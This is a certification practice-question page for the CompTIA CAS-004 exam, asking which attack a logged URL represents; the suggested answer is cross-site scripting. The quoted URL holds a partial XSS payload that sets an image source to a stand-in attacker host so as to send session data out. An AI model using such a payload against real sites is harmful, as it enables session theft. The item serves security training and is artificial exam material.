ExamGecko
Question list
Search
Search

List of questions

Search

Related questions











Question 102 - CAS-004 discussion

Report
Export

A threat analyst notices the following URL while going through the HTTP logs.

http://www.safebrowsing~~~/search.asp?q=<script>x=newimage;x.src=”http://baddomain~~~/session;

Which of the following attack types is the threat analyst seeing?

A.
SQL injection
Answers
A.
SQL injection
B.
CSRF
Answers
B.
CSRF
C.
Session hijacking
Answers
C.
Session hijacking
D.
XSS
Answers
D.
XSS
Suggested answer: D

Explanation:

XSS stands for cross-site scripting, which is a type of attack that injects malicious code into a web page that is then executed by the browser of a victim. The URL in the question contains a script tag that tries to execute a JavaScript code from an external source, which is a sign of XSS. Verified

Reference: https://www.comptia.org/training/books/casp-cas-004-study-guide , https://owasp.org/www-community/attacks/xss/

asked 02/10/2024
Jozsef Stelly
47 questions
User
Your answer:
0 comments
Sorted by

Leave a comment first